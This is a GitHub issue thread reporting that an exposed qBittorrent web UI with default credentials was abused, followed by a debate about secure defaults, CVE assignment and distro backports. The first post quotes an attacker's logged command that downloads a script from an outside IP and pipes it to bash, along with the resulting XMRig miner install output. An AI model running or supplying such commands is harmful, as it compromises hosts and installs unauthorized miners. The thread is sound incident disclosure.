Possible RCE being exploited

[mayli]

Suggestion

Qbittorrent isn't quite secure since it has a default password and hardcoded webui port. Qb also allows executing random code directly through the webui.
I've recently noticed the following entries in the log

(N) 2023-03-18T15:42:59 - Added new torrent. Torrent: "qBittorrent_update.elf"
(N) 2023-03-18T15:43:00 - Peer "83.97.20.160:8999" is added to torrent "qBittorrent_update.elf"
(N) 2023-03-18T15:43:01 - Torrent download finished. Torrent: "qBittorrent_update.elf"
(N) 2023-03-18T15:43:01 - Running external program. Torrent: "qBittorrent_update.elf". Command: `bash -c "(curl -s -L http://178.220.80.24:51518/update.sh || wget -O -
 http://178.220.80.24:51518/update.sh) | bash -s"`
(N) 2023-03-18T15:43:06 - Removed torrent and deleted its content. Torrent: "qBittorrent_update.elf"

....
[*] Removing previous c3pool miner (if any)
[*] Removing /home/ubuntui/.c3pool directory
[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz
[*] Unpacking /tmp/xmrig.tar.gz to /home/ubuntu/.c3pool
[*] Checking if advanced version of /home/ubuntu/.c3pool/xmrig works fine (and not removed by antivirus software)
[*] Miner /home/ubuntu/.c3pool/xmrig is OK
[*] Creating /home/ubuntu/.c3pool/miner.sh script
[*] Enabling huge pages
sysctl: setting key "vm.nr_hugepages", ignoring: Read-only file system
Running with 223992

It's clearly that there are some script boys are scanning peers and exploiting this RCE on the interweb, and it's better to have some security defaults to prevent this.

Couple possible ideas including force non-default password on login and deny external program execution if default password being used.

Use case

No response

Extra info/examples/attachments

No response

[sledgehammer999]

I have to ask: Why the hell did you expose your client to the interwebz with default credentials?

[mayli]

@sledgehammer999 Lazy and dumb.

[paxter]

It's no RCE. You exposed the webui with default password to the internet. All things the attacker is doing are intended features. I've seen this attack on some other users too. So it's exploited in the wild. Maybe we could do something with more secure better default settings.

[Laverlin]

It seems the option "Use UPnP / NAT-PMP to forward the port from my router" in "WebUI" settings is enabled by default. That means by default you expose your client to the interweb, even if you are behind a NAT.

[kevinhikaruevans]

It seems pretty crazy that UPnP is enabled by default on the WebUI when it has the power to run random binaries from the internet with the default username/password.

[CarloMara]

Folks what's the status of this? When will this be released? Is there a CVE for this?

Quite frankly I'm very surprised at how this was handled so far. We have indication of this begin exploited, the fix has not been released yet nor has a CVE been assigned.

Upstream repos still contain this very dangerous settings, that will lead to exploitation.

I would have expected the qBittorrent team to be far more proactive in dealing with this type of bugs.

[TheYxel]

I just dropped from utorrent with it's suspicious activity, went to qbit and now some guys lurking around in powershell through torrent app on my pc. How the hell is it even possible? )

[paxter]

It's possible because of insecure default config of qBittorrent and don't knowing your used software.

[Supervinh]

It seems the option "Use UPnP / NAT-PMP to forward the port from my router" in "WebUI" settings is enabled by default. That means by default you expose your client to the interweb, even if you are behind a NAT.

I tried it with a few friends on different versions (windows and linux) but it doesn't seem to be enabled by default. Are you sure it wasn't something you enabled in the past to try and forgot to turn it off ?

[kevinhikaruevans]

It seems the option "Use UPnP / NAT-PMP to forward the port from my router" in "WebUI" settings is enabled by default. That means by default you expose your client to the interweb, even if you are behind a NAT.

I tried it with a few friends on different versions (windows and linux) but it doesn't seem to be enabled by default. Are you sure it wasn't something you enabled in the past to try and forgot to turn it off ?

It was fixed and disabled by default. The PR (linked above) and a backport was merged months ago.

[CarloMara]

The fact that's merged and backported doesn't necessarily mean distro have backported the fix

[glassez]

The fact that's merged and backported doesn't necessarily mean distro have backported the fix

Hell, many distros are hopelessly behind in terms of updating applications. But we are not responsible for this.

[sledgehammer999]

Addressed with #19777

[ajakk]

Hell, many distros are hopelessly behind in terms of updating applications. But we are not responsible for this.

Well, distributions generally don't know that there's anything to backport unless someone's directly reported a bug to them or there's a CVE. I'm coming here from CVE-2023-30801.

[segin]

Folks what's the status of this? When will this be released? Is there a CVE for this?

Quite frankly I'm very surprised at how this was handled so far. We have indication of this begin exploited, the fix has not been released yet nor has a CVE been assigned.

Upstream repos still contain this very dangerous settings, that will lead to exploitation.

I would have expected the qBittorrent team to be far more proactive in dealing with this type of bugs.

The thing is that none of this is an "exploit" by any rigorous and serious definition. This is everything working as documented and designed. "but this can lead to bad stuff happening!" is not an "exploit" nor does it need a CVE.

Please stop, you're embarrassing yourself.

[ceres-c]

The thing is that none of this is an "exploit" by any rigorous and serious definition. This is everything working as documented and designed. "but this can lead to bad stuff happening!" is not an "exploit" nor does it need a CVE.

Please stop, you're embarrassing yourself.

On the topic of embarrassment lmao

[CarloMara]

First, let me address what seems like a unwarranted for personal attack.

Please stop, you're embarrassing yourself.

I don't think it's conclusive for a good security conversation to call out in this way people that hold an opinion different than yours. Talking about problems in their perceived threat model seems like the best way to improve the security ecosystem, the opposite disincentivize open conversation and thus is a barrier to truly secure systems.

I feel there is a disconnect on what we are talking about. The problem here is "unsafe defaults will lead to exploitation", not that a feature is working or not working as intended.

I'd like to know what your rigorous and serious definition of exploit is, because to me this is a serous security issue given how simple it is to exploit, and in fact these defaults have been changed to a more safe standard substantiates my thesis.

I hope you have great day,
Carlo

[Chapoly1305]

Folks what's the status of this? When will this be released? Is there a CVE for this?
Quite frankly I'm very surprised at how this was handled so far. We have indication of this begin exploited, the fix has not been released yet nor has a CVE been assigned.
Upstream repos still contain this very dangerous settings, that will lead to exploitation.
I would have expected the qBittorrent team to be far more proactive in dealing with this type of bugs.

The thing is that none of this is an "exploit" by any rigorous and serious definition. This is everything working as documented and designed. "but this can lead to bad stuff happening!" is not an "exploit" nor does it need a CVE.

Please stop, you're embarrassing yourself.

As one of the victims, I came back from 2024 and point out the original design was flawed indeed.

The default password itself might not be a big deal in home intranet, but the issues chained up. The qBittorrent-nox < 4.5.3 set WebUI and WebUI UPNP to enable by default, which caused many hosts got hacked, it is an issue and shall take the blame. There are users who used SSH or VPN like me access the sever subnet without punch a hole on firware still got hacked. After the incident, many user came to the discussion and seeked for help, however, before the offical fix (2b4fcda) users have only guessing they had mistakenly enable UPNP and the situation was really confusing.

e.g. #7715 (comment)

I truely glad @mayli @glassez @CarloMara and reset of the forks pushed this topic forward, the security risk and update must be advertised.

[banteg]

happened to me too in 2024, qbittorrent keeps compromising the security of people's machines.

it's ridiculous to still have a default password while listen on public network interfaces.

the default interface should be 127.0.0.1 and nothing else, people can ssh tunnel into it or set up a reverse proxy if they want secure outside access. the default password should be autogenerated on first run.

the problem still exists in qbittorrent-nox v4.4.1 that ships with ubuntu.

[glassez]

qBittorrent no longer has a default password since version 4.6.1, instead, an automatically generated password is created at startup until you set your own.

the problem still exists in qbittorrent-nox v4.4.1 that ships with ubuntu.

Perhaps Ubuntu will reach qBittorrent v4.6.1+ in two+ years. Or you can use a more recent source, such as the official AppImage.

[kevinhikaruevans]

the problem still exists in qbittorrent-nox v4.4.1 that ships with ubuntu.

On Mantic (which is EOL soon), it should be 4.5.4-1:

kevin@kevinbuntu:~$ apt list -a qbittorrent
Listing... Done
qbittorrent/mantic 4.5.4-1 amd64

kevin@kevinbuntu:~$ apt list -a qbittorrent-nox 
Listing... Done
qbittorrent-nox/mantic 4.5.4-1 amd64

which has UPnP turned off by default: https://git.launchpad.net/ubuntu/+source/qbittorrent/tree/src/base/preferences.cpp?h=ubuntu/mantic#n600

For older LTS versions that are not patched, I contacted the Ubuntu package maintainer and suggested backporting the fix: https://bugs.launchpad.net/ubuntu/+source/qbittorrent/+bug/2071493